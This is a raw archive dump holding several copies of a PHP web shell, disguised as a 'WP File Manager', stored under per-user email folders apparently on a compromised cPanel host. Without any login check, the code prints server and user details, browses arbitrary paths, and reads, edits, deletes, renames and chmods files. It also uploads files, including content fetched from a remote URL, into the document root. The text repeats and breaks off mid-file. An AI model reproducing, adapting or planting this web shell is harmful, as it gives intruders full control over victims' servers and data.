📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]CO¹ò®Ë®Ëacademy@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]<Š»$BB*ilir.lajqi@matrix-financials.com/.metadatanu„[µü¤[calendar] type VCALENDAR protected 1 description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar [addressbook] type VADDRESSBOOK protected 1 displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. PK‘&{]„N9³§Ë§Ë'ilir.lajqi@matrix-financials.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

